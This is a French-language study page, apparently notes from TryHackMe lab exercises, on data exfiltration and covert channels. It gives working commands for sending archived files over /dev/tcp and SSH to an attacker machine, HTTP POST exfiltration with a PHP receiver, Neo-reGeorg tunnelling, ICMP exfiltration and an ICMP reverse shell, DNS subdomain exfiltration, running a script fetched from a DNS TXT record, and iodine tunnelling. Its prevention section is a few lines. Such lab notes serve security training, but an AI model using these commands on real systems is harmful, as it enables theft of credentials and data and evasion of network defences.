🏃‍♂️collection / exfiltration

Consiste à Transférer des données sensibles ou confidentielles en dehors du réseau d'une organisation.

💾 Données exfiltrées

Noms d'utilisateur et mots de passe ou toute information d'authentification.
Détails de comptes bancaires.
Décisions stratégiques commerciales.
Clés cryptographiques.
des données personnelles (clients et employé).
Données de code de projet.

❌ Techniques utilisées

Ingénierie sociale et phishing : Utilisation de tactiques trompeuses pour inciter les utilisateurs à divulguer volontairement leurs informations.
Téléchargements vers des appareils non sécurisés ou externes : Copie de données vers des périphériques non surveillés ou des appareils externes tels que des clés USB ou des disques durs.
Prévention :
- Utilisation de systèmes de détection d'intrusion (IDS) pour surveiller le trafic réseau et détecter les activités suspectes.
- Mise en place de pare-feux de nouvelle génération (NGFW) pour bloquer les tentatives d'exfiltration de données et limiter l'accès non autorisé.
- Sensibilisation et formation des utilisateurs pour reconnaître les tactiques d'ingénierie sociale et éviter les pièges de phishing.
- Adoption de politiques de sécurité strictes concernant la gestion des données et l'accès aux informations sensibles.

🚳 TCP Socket

Le client initie la connexion en envoyant une demande de connexion au serveur. Le serveur répond en acceptant la demande, établissant ainsi une connexion. Une fois la connexion établie, les deux parties peuvent s'échanger des données de manière fiable et ordonnée. Après la transmission des données, la connexion est fermée.

Utilisation de port NON - standart (éviter les systèmes de détection et les pare-feu)
Donc plus facilement repérable
techniques d'encodage et d'archivage

Ecouteur (machine attaquante)

Choisissons le port 8080 pour notre écouteur :

nc -lvp 8080 > /tmp/task4-creds.data # fichier où on va stocker les données

Exfiltration des données via socket TCP (machine cible)

tar zcf - task4/ | base64 | dd conv=ebcdic > /dev/tcp/192.168.0.133/8080

Explication de la commande :

tar zcf - task4/ : Crée une archive compressée de la chaîne de dossiers task4/.
base64 : Convertit le fichier tar en représentation base64.
dd conv=ebcdic : Convertit les données en encodage EBCDIC.
> /dev/tcp/attaquant/8080 : Envoie les données via une connexion TCP à l'adresse et au port spécifiés.

Conversion des données reçues à leur état d'origine

Utilisez l'outil dd pour convertir les données reçues en ASCII, puis décodez-les avec base64 :

cd /tmp/
dd conv=ascii if=task4-creds.data | base64 -d > task4-creds.tar

dd conv=ascii if=task4-creds.data : Convertit les données reçues en représentation ASCII.

base64 -d : Décode les données base64.

Extraction des fichiers de l'archive tar:

tar xvf task4-creds.tar

tar xvf task4-creds.tar : Extrait le contenu de l'archive.

🚨 SSH

établit un canal sécurisé, ce qui signifie que toutes les données transmises sont chiffrées, rendant l'interception et l'analyse du trafic plus difficiles.

Sécurité élevée grâce au chiffrement

les pare-feu peuvent bloquer les connexions SSH sortantes.

Exfiltration (cible)

Utilisation de la commande tar pour archiver les données :

tar cf - task5/ | ssh attack-user@IP-attack "cd /tmp/; tar xpf -"

Archivage des Données : Utilisation de tar cf - task5/ pour créer une archive de répertoire task5.
Transmission via SSH : La commande ssh thm@jump.thm.com "cd /tmp/; tar xpf -" permet de transférer l'archive et de l'extraire directement dans le répertoire /tmp/ de la machine attaquante.

Dans le répertoire /tmp automatiquement ! Pas besoins de nc

🚧 HTTP POST

Pourquoi utiliser HTTP POST ?

difficile à détecter !
Les requêtes POST ne sont jamais mises en cache : ce qui réduit les traces laissées.
Les requêtes POST ne restent pas dans l'historique du navigateur : elles sont plus discrètes.
Les requêtes POST ne peuvent pas être mises en favori : elles sont moins susceptibles d'être examinées plus tard.
Les requêtes POST n'ont pas de restrictions sur la longueur des données : ce qui permet de transférer de grandes quantités de données.

Données en clair car HTTP

Vous pouvez utilisez curl avec des URL HTTPS pour exfiltrer les données en toute sécurité.

Démonstration :

/var/log/apache2/access.log (enregistre toutes les requêtes HTTP reçues par le serveur)

10.10.198.13 - - [22/Apr/2022:12:03:11 +0100] "GET /example.php?file=dGhtOnRyeWhhY2ttZQo= HTTP/1.1" 200 147 "-" "curl/7.68.0"
10.10.198.13 - - [22/Apr/2022:12:03:25 +0100] "POST /example.php HTTP/1.1" 200 147 "-" "curl/7.68.0"

La première ligne montre une requête GET avec un paramètre file contenant des données encodées en base64.
La seconde ligne montre une requête POST, mais elle ne révèle pas les données envoyées.

🔐 Fonctionnement

La cible encode et envoi les données au serveurs

Le serveur web compromis reçoit des données via une requête POST, les enregistre dans un fichier, puis les décode pour extraire le contenu archivé.

L'attaquant les récupères

✏️ Exemple

Sur le serveur web compromis (attaquant)

Configurez un serveur web (Apache ou Nginx) et créez un fichier PHP pour gérer les requêtes POST.

contact.php

<?php 
if (isset($_POST['file'])) {
        $file = fopen("/tmp/http.bs64","w");
        fwrite($file, $_POST['file']);
        fclose($file);
}
?>

Ce code crée un fichier /tmp/http.bs64 et y écrit le contenu envoyé via une requête POST.

Sur la victime

Envoyer les données avec une requête POST via curl.

curl --data "file=$(tar zcf - task6 | base64)" http://web.thm.com/contact.php

tar zcf - task6 : Compresse le dossier task6.
base64 : Encode le contenu compressé en base64.
curl --data : Envoie les données encodées via une requête POST à contact.php.

sur le serveur web de l'attaquant :

Vérifiez et décodez les données reçues.

Si le fichier http.bs64 contient des espaces à la place des + (caractères), utilisez sed pour les corriger.
Décodez le fichier base64 et extrayez le contenu archivé.

sudo sed -i 's/ /+/g' /tmp/http.bs64
cat /tmp/http.bs64 | base64 -d | tar xvfz -

🚫 HTTP Tunneling

Le but est de permettre à une machine externe d'accéder à des ressources situées sur la machine interne, qui n'est pas accessible directement depuis Internet.

Le tunnel HTTP est utilisé pour établir une connexion sécurisée entre ces deux machines, en permettant le transfert sécurisé de données via le protocole HTTP.

Communication sécurisée

Contournement des restrictions réseau

Transfert de données sécurisé

Dépendance à un serveur intermédiaire

✏️ Exemple

La machine attaquante (votre machine)
un serveur web intermédiaire (accessible depuis Internet) : uploader.thm.com
la machine cible (la machine dont vous voulez récupérer les données, mais qui est en local). app.thm.com

🗝️ Outil Neo-reGeorg

Neo-reGeorg est un outil utilisé pour établir des tunnels HTTP, permettant ainsi de contourner les restrictions d'accès réseau. Voici comment l'utiliser :

Génération de Fichiers Clients :

Utilisez un outil comme Neo-reGeorg pour générer un fichier client encrypté. Ce fichier client agira comme un tunnel sécurisé entre la machine attaquante et le serveur web intermédiaire.
```
python3 neoreg.py generate -k thm
```

Téléversement du Fichier Client :

Téléversez le fichier client généré (par exemple, tunnel.php) sur votre serveur web accessible depuis Internet (uploader.thm.com), il agira comme un point de transit pour vos communications.

Connexion au Client Tunnel :

Utilisez Neo-reGeorg pour vous connecter au client tunnel en spécifiant l'URL où vous avez téléversé le fichier client. Cela crée un canal de communication sécurisé entre votre machine attaquante et le serveur web intermédiaire. Par exemple :
```
python3 neoreg.py -k thm -u http://10.10.189.106/uploader/files/tunnel.php
```

Le serveur SOCKS5 a démarré et écoute sur l'adresse 127.0.0.1 (votre propre machine) sur le port
1080. Il affiche l'URL du tunnel, qui est le point d'entrée du tunnel HTTP établi avec le serveur web intermédiaire (uploader.thm.com).
Cette URL vous permet de spécifier où se trouve le tunnel pour vous connecter et commencer à utiliser le tunnel pour acheminer le trafic HTTP.

Utilisation du Tunnel HTTP :

Une fois connecté au client tunnel, vous pouvez utiliser le tunnel HTTP comme un proxy local sur votre machine. Il écoute sur localhost (127.0.0.1) sur le port 1080.
Cela signifie que vous pouvez envoyer des requêtes HTTP via ce tunnel, qui seront ensuite acheminées vers le serveur web intermédiaire.

Accès aux Machines Internes :
- Pour accéder à une machine interne (par exemple, app.thm.com) via le tunnel HTTP, utilisez des outils comme curl avec l'argument --socks5. Par exemple :
  curl --socks5 127.0.0.1:1080 http://172.20.0.121:80

En suivant ces étapes, vous pourrez établir un tunnel HTTP sécurisé pour contourner les restrictions d'accès réseau et communiquer avec des machines internes depuis des machines externes.

💿 ICMP

Les paquets ICMP sont souvent utilisés pour tester la connectivité et diagnostiquer les problèmes réseau.

L'en-tête d'un paquet ICMP offre une petite zone où des données peuvent être incluses.

Protocole standart, donc pas bloqué par le pare-feu et
faible volume de trafic

quantité limitée
volumes élevés de trafic ICMP peuvent encore être détectés

🔌 ICMP exfiltration

Exfiltrer des données en les encapsulant dans des paquets ICMP et en les envoyant à un serveur de destination.

Metasploit

Lancez le framework Metasploit et sélectionnez le module icmp_exfil.
Définissez l'option BPF_FILTER pour filtrer les paquets ICMP à l'exclusion de ceux provenant de l'adresse IP de l'attaquant.

use auxiliary/server/icmp_exfil
set BPF_FILTER icmp and not src ATTACKBOX_IP

Configurer l'Interface Réseau pour écouter le trafic ICMP :

set INTERFACE eth0
run # démarrer l'écoute

Envoyer un Paquet de Déclenchement :

Le "BOF" (Beginning of File) et le "EOF" (End of File) sont des marqueurs utilisés pour indiquer le début et la fin d'un ensemble de données à transférer.

Depuis la machine de l'attaquant, utilisez nping pour envoyer le déclencheur de début de fichier (BOF) à la victime.

sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "BOFfile.txt"

Envoyer des Données et un Paquet EOF :

Envoyez les paquets de données souhaités depuis la machine de l'attaquant en utilisant nping.

sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "admin:password"
sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "EOF"

Réception des Données dans Metasploit :
- Surveillez le framework Metasploit pour les paquets ICMP entrants.
- À la réception du déclencheur EOF, enregistrez les données reçues sur le disque.

🏧 ICMP C2 Communication - exécution de commande

Exécuter des commandes sur une machine cible via des paquets ICMP, généralement dans le cadre d'un contrôle à distance.

Comment exécuter des commandes sur une machine cible via le protocole ICMP ?

GitHub - krabelize/icmpdoor: ICMP Reverse Shell written in Python 3 and with Scapy (backdoor/rev shell)GitHub

ICMPDoor est un reverse-shell open-source écrit en Python3 et scapy.
L'outil utilise le même concept que celui discuté précédemment, où un attaquant utilise la section "Data" à l'intérieur du paquet ICMP.
La différence est que l'attaquant envoie une commande à exécuter sur la machine cible.
Une fois la commande exécutée, la machine cible envoie la sortie de l'exécution dans le paquet ICMP dans la section "Data".

Sur la cible, établir un canal de communication via ICMP avec la machine attaquante :

sudo icmpdoor -i eth0 -d Adresse_IP_Attaquante

Assurez-vous de spécifier l'interface à utiliser pour la communication et l'adresse IP de l'attaquant.

Sur la machine attaquante, lancer le programme icmp-cnc, afin d'établir une connexion avec la cible via le protocole ICMP.

sudo icmp-cnc -i eth1 -d Adresse_IP_Cible
shell: hostname # rentrer vos commandes

Vous recevrez alors la réponse de la commande exécutée sur la machine Cible.

Ce processus vous permet d'établir une communication bidirectionnelle avec la machine Cible via le protocole ICMP, permettant ainsi l'exécution de commandes à distance.

🛜 DNS

Les données seronts exfiltrés via le domaine enn passant par les sous domaines pour atteindre le domaine controlé par l'attaquant

Explication

Enregistrement du Domaine : L'attaquant enregistre un domaine, par exemple tunnel.com.
Configuration du Serveur DNS : L'attaquant configure l'enregistrement NS de tunnel.com pour pointer vers un serveur contrôlé par l'attaquant.
Envoi des Données : Le malware ou l'attaquant envoie des données sensibles sous forme de sous-domaines de tunnel.com (ex. passw0rd.tunnel.com).
Transmission des Requêtes DNS : Les requêtes DNS passent par le serveur DNS local puis par Internet.
Réception des Données : Le serveur DNS de l'attaquant reçoit les requêtes DNS contenant les données exfiltrées.
Extraction des Données : L'attaquant extrait les informations des noms de domaine.

Exigence :

Nom de domaine (attaquant)

Configuré les enregiistrement DNS

serveur DNS configuré

Utilisation courante du protocole DNS, ce qui rend la détection difficile.
Peut contourner les pare-feu et les politiques de sécurité car le trafic DNS est souvent autorisé.

Taille limité (FQDN - 255 caractères, Sous domaine 63 caractères)
Faible débit de transfert de données en raison des limitations du protocole DNS.
Risque de détection si les requêtes DNS anormales sont surveillées de près.
Nécessite un contrôle sur un serveur DNS pour traiter les requêtes spéciales, ce qui peut être difficile à obtenir dans certains scénarios.

🖥️ Modification des Enregistrements DNS

Pour réaliser l'exfiltration de données via DNS, nous allons utiliser le domaine tunnel.com. Vous devrez mettre à jour les enregistrements DNS pour ajouter un enregistrement NS pointant vers votre machine de l'attaque .

🖱️ Exfiltration de Données Manuelle

Supposons que nous avons un fichier creds.txt contenant des données sensibles. Voici les étapes pour exfiltrer ce fichier via le protocole DNS :

Encodage des Données sur la victime

cat task9/credit.txt | base64

Diviser une chaine trop grande

Préparation de plusieurs requêtes DNS courtes

Utilisez la commande fold pour couper la chaîne en segments de 18 caractères, ce qui est suffisamment court pour respecter les limitations des sous-domaines.

cat task9/credit.txt | base64 | tr -d "\n" | fold -w18 | sed -r 's/.*/&.att.tunnel.com/'

Préparation d'une seule requête DNS longue

Fusionner tous les segments en une seule chaîne et ajouter le suffixe de domaine

cat task9/credit.txt | base64 | tr -d "\n" | fold -w18 | sed 's/.*/&./' | tr -d "\n" | sed s/$/att.tunnel.com/

Capture des Requêtes DNS

Sur la machine de l'attaquant, capturez le trafic réseau pour les paquets UDP sur le port 53.

 sudo tcpdump -i eth0 udp port 53 -v

Envoi des Données

Envoyez les données encodées comme sous-domaine en utilisant la commande dig.

cat task9/credit.txt | base64 | tr -d "\n" | fold -w18 | sed 's/.*/&./' | tr -d "\n" | sed s/$/att.tunnel.com/ | awk '{print "dig +short " $1}' | bash

Extraction des Données

Nettoyez et décodez les données reçues.

echo "TmFtZTogVEhNLXVzZX.IKQWRkcmVzczogMTIz.NCBJbnRlcm5ldCwgVE.hNCkNyZWR

Elle prend la chaîne encodée en Base64 la réassemble, puis la décode en texte lisible.

😪 DNS C2 Communication - exécution de commande

Les frameworks de communication C2 utilisent le protocole DNS pour envoyer des commandes et recevoir des résultats. Ils peuvent aussi utiliser des enregistrements TXT DNS pour exécuter des scripts ou télécharger des fichiers sur une machine victime. Voici comment exécuter un script bash via DNS en ajoutant un enregistrement TXT au domaine tunnel.com.

Étapes

Créer et encoder le script :
- Créez le script et enregistrez le sous /tmp/script.sh :
  #!/bin/bash ping -c 1 test.thm.com # vous pouvez mettre n'importe quel script
- Encodez le script en Base64 :
  cat /tmp/script.sh | base64
  - Résultat attendu : IyEvYmluL2Jhc2gKcGluZyAtYyAxIHRlc3QudGhtLmNvbQo=
Ajouter l'enregistrement TXT DNS :
- Accédez à l'interface web de gestion DNS
- Ajoutez un enregistrement TXT :
  - Nom : script.tunnel.com
  - Type : TXT
  - Valeur : IyEvYmluL2Jhc2gKcGluZyAtYyAxIHRlc3QudGhtLmNvbQo=
Vérifier l'enregistrement TXT :
- Utilisez la commande dig pour vérifier :
  dig +short -t TXT script.tunnel.com
  - Résultat attendu : "IyEvYmluL2Jhc2gKcGluZyAtYyAxIHRlc3QudGhtLmNvbQo="
Exécuter le script :
- Récupérez et exécutez le script :
  dig +short -t TXT script.tunnel.com | tr -d "\"" | base64 -d | bash
  - Cette commande :
    Récupère l'enregistrement TXT avec dig.
    Supprime les guillemets doubles avec tr -d "\"".
    Décode le contenu Base64 avec base64 -d.
    Exécute le script avec bash.

🤕 Tunneling DNS (TCP over DNS)

Flux de Données en Tunneling DNS

Nous allons établir un canal de communication via DNS en utilisant l'outil iodine. Nous allons configurer une communication entre les machines attaquante, Intermediary et Target pour accéder à un serveur web interne sur Target.

iodined - exécuter coté serveur

iodine - exécuter sur la cible ou proxy

Résumé des étapes

Établir un canal de communication via DNS (MAJ des enregistrements DNS pour pointer vers la machine attaquante + serveur iodined sur l'attaquant + connectons le client iodine sur l'intermédiaire)
Vérification du trafic DNS (tcpdump)
Envoi des données à travers le tunnel DNS sur l'intermédiaire (dig)
accéder aux ressources du réseau interne (Dynamic port forwarding + connexion ssh + proxychains)

Étapes de Configuration

Mettre à jour les enregistrements DNS :
- Assurez-vous de créer un nouvel enregistrement NS pointant vers votre machine attaquante.
Lancer le serveur iodined sur attaquante:
- Exécutez iodined sur attaquante:
  sudo iodined -f -c -P thmpass 10.1.1.1/24 att.tunnel.com
  - Explication des arguments :
    -f : Exécute le serveur en avant-plan.
    -c : Ignore la vérification de l'adresse IP et du port du client pour chaque requête DNS.
    -P : Définit un mot de passe pour l'authentification.
    10.1.1.1/24 : Définit l'IP du réseau pour a nouvelle interface dns0.
    att.tunnel.com : Le serveur de noms configuré.
Connecter le client iodine sur Intermédiaire :
- Sur Intermédiaire , connectez-vous au serveur iodined :
  sudo iodine -P thmpass att.tunnel.com
  - Une fois la connexion établie, l'interface dns0 est créée avec l'IP 10.1.1.2.

Vérification du Trafic DNS

Vous pouvez confirmer que tout le trafic passe par le protocole DNS en utilisant tcpdump sur la machine Attacker :

sudo tcpdump -i eth0 udp port 53 -v

En suivant ces étapes, vous établissez un tunnel DNS permettant de faire passer des communications réseau par le protocole DNS, même si les autres protocoles sont bloqués par le pare-feu.

Envoi des données à travers le tunnel DNS sur l'intermediaire :

Envoyez chaque morceau de données via des requêtes DNS. Par exemple, utilisez dig pour envoyer chaque morceau de données :
```
while read -r line; do dig +short -t TXT "$line".att.tunnel.com; done < split_data.txt
```

Connexion SSH avec redirection de port dynamique (pour acceder a des ressources du réseaux interne, par exemple la cible)

Ouvrez une nouvelle terminale sur L'attaquante et connectez-vous via SSH à Intermédiaire :
```
 ssh thm@10.1.1.2 -4 -f -N -D 1080
```
- Explication des arguments :
  - -4 : Force l'utilisation de l'IPv4.
  - -f : Met SSH en arrière-plan.
  - -N : N'exécute aucune commande sur la machine distante.
  - -D 1080 : Configure le port 1080 pour la redirection dynamique.

Utiliser la connexion SSH comme proxy pour accéder à Target :

Configurez ProxyChains ou Firefox sur Attacker pour utiliser 127.0.0.1:1080 comme proxy.

Exemple avec ProxyChains :

proxychains curl http://192.168.0.100/demo.php

Ou directement avec curl :

curl --socks5 127.0.0.1:1080 http://192.168.0.100/demo.php

PreviousPort forwarding NextPrivacy tools

Last updated 1 year ago

hashtag💾 Données exfiltrées

hashtag❌ Techniques utilisées

hashtag🚳 TCP Socket

hashtag🚨 SSH

hashtagExfiltration (cible)

hashtag🚧 HTTP POST

hashtagPourquoi utiliser HTTP POST ?

hashtag🔐 Fonctionnement

hashtag✏️ Exemple

hashtagSur la victime

hashtag🚫 HTTP Tunneling

hashtag✏️ Exemple

hashtag🗝️ Outil Neo-reGeorg

hashtag💿 ICMP

hashtag🔌 ICMP exfiltration

hashtag🏧 ICMP C2 Communication - exécution de commande

hashtag🛜 DNS

hashtagExplication

hashtag🖥️ Modification des Enregistrements DNS

hashtag🖱️ Exfiltration de Données Manuelle

hashtagEncodage des Données sur la victime

hashtagDiviser une chaine trop grande

hashtagCapture des Requêtes DNS

hashtagEnvoi des Données

hashtagExtraction des Données

hashtag😪 DNS C2 Communication - exécution de commande

hashtagÉtapes

hashtag🤕 Tunneling DNS (TCP over DNS)

hashtagFlux de Données en Tunneling DNS

hashtagÉtapes de Configuration

hashtagVérification du Trafic DNS

hashtagConnexion SSH avec redirection de port dynamique (pour acceder a des ressources du réseaux interne, par exemple la cible)

💾 Données exfiltrées

❌ Techniques utilisées

🚳 TCP Socket

🚨 SSH

Exfiltration (cible)

🚧 HTTP POST

Pourquoi utiliser HTTP POST ?

🔐 Fonctionnement

✏️ Exemple

Sur la victime

🚫 HTTP Tunneling

✏️ Exemple

🗝️ Outil Neo-reGeorg

💿 ICMP

🔌 ICMP exfiltration

🏧 ICMP C2 Communication - exécution de commande

🛜 DNS

Explication

🖥️ Modification des Enregistrements DNS

🖱️ Exfiltration de Données Manuelle

Encodage des Données sur la victime

Diviser une chaine trop grande

Capture des Requêtes DNS

Envoi des Données

Extraction des Données

😪 DNS C2 Communication - exécution de commande

Étapes

🤕 Tunneling DNS (TCP over DNS)

Flux de Données en Tunneling DNS

Étapes de Configuration

Vérification du Trafic DNS

Connexion SSH avec redirection de port dynamique (pour acceder a des ressources du réseaux interne, par exemple la cible)